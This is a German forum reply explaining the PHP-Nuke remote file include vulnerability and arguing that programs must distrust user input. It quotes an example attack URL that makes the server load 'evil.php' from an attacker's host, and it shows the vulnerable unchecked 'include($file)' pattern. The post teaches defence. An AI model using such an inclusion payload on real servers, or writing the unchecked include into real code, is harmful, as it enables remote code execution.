Sven Rautenberg: PHP-Nuke: Sicherheitsleck

Beitrag lesen

Moin!

http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php
tstststs ... selbst wenn du http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php geschrieben hättest, wärs nicht besser ... "die Seite kann nicht angezeigt werden". Sowohl unter Windows wie von meiner FreeBSD-Maschine aus  -  oder ist meine DSL-Verbindung zu schnell dafür?

Hm, fehlt hier das Ironiezeichen? Natürlich ist diese Adresse nur als Demonstration gemeint und kann garnicht funktionieren. Oder hast du schon mal die Top-Level-Domain "server-mit-php-nuke" gesehen, und völlig ohne Second-Level-Domain.

Angegebener Link: http://online.securityfocus.com/bid/3889
der link ist zwar anklickbar, aber führt "nur" zu einer sehr ordentlichen informativen Adresse, an der ich allerdings nix gefunden habe, was deiner Problemstellung entspricht

Doch, allerdings ist diese Seite nicht wirklich informativ, was die genaueren Details angeht.

Das geschilderte Problem versteckt sich in der Titelzeile: "PHPNuke Remote Arbitrary File Include Vulnerability" Übersetzt etwa: "PHPNuke Entfernte beliebige Datei Einbindungsverwundbarkeit", oder geglättet: PHPNuke erlaubt es, beliebige entfernte (auf anderen Servern befindliche) Dateien in den PHP-Code einzubinden. Wie böse das ist, wurde dargelegt.

eigentlich schade. Ich zum Beispiel weiß über die möglichen "Sicherheitsrisiken" bei PHP noch nicht genug und bin daher an jedem ernstzunehmenden Hinweis interessiert

PHP ist nicht per Definition unsicher. Die darauf aufbauenden Programme sind es (und das ist nicht beschränkt auf PHP, es hat aber aufgrund seiner leichten Erlernbarkeit und einiger PHP-exklusiver Features in der Vergangenheit erlaubt, daß sich auch eher unerfahrenere Programmierer dazu berufen fühlten, beliebig aufwendigen Code zu erstellen, der leider hinreichend unsicher ist).

Das Problem bei allen Programmen: Mißtraue Usereingaben!!!

Der böse User wird sich z.B. nicht deshalb bei der Länge des Paßwortes zurückhalten, weil in der Anleitung steht "maximal 25 Zeichen". Er kann durchaus 3000 Zeichen ausprobieren, und wenn das Programm nicht die überzähligen Zeichen unbeachtet einfach wegwirft, sondern versucht, die irgendwo zu speichern, wo kein Platz vorgesehen war, dann kommt es mit einiger Sicherheit zum "Buffer Overflow": Der für die Zeichenkette reservierte Speicherplatz wurde überschritten, aber entsetzlicherweise wurde vom Programm über das vorgesehene Ende hinaus blind weiter in den Speicher geschrieben - Daten und möglicherweise Programmcode wurden zerstört.

Konkret auf PHP bezogen gilt: Es ist ein nettes Feature, daß PHP Formulareingaben und URL-Parameter gleich in Variablen umwandelt, die zur Verfügung stehen. Aber damit kann man im PHP-Skript Variablen durch die URL-Zeile einfach erzeugen und vorbelegen und so möglicherweise Einfluß auf den Programmfluß nehmen.

Im konkreten Fall:

Wenn der URL-Parameter "file", wenn er übergeben wurde, dafür sorgt, daß die genannte Datei eingefügt wird, bei Nichtvorhandensein aber ignoriert wird, dann könnte man das so programmieren:

if (isset($file))
{
  include($file);
}

Wenn diese Tatsache nur allen vorhandenen Skripten bekannt ist: Toll. Wenn man aber durch manipulierte Angabe des Parameters jede beliebige Datei einbinden kann, ist das ziemlich schlecht. Einfach "einbinder.php?file=/boeses_skript.php" aufrufen, schon hat man eine beliebige Datei eingebunden. Wobei das noch nicht ultrakritisch ist, die Datei muß noch auf dem gleichen Server und dort für das Skript erreichbar sein.

Dummerweise erlaubt die include-Funktion auch, von externen Servern durch Angabe einer URL Skriptteile einzubinden. Das ist toll, wenn man auf diese Weise einen zentralen Server hat, der News-Schnipsel im eigenen Layout verteilt - aber auch ultragefährlich, weil eben per include auch PHP-Code ausgeführt werden kann. fopen() funktioniert auf die gleiche Weise, kann neben http-"Dateien" auch ftp-Dateien auf entfernten Servern ansprechen. Was mal als nettes Feature gedacht war (und durchaus dem Unix-Gedanken "Alles ist Datei" entspricht), wird hier zur bösen Falle, weil der Dateiname von extern frei bestimmbar ist. Sowas sollte _niemals_ der Fall sein dürfen!

Mißtraue Usereingaben!!! Zumindest die Prüfung, ob eine lokale Datei angesprochen wird (über die man ja hoffentlich die volle Gewalt hat), hätte erfolgen müssen.

- Sven Rautenberg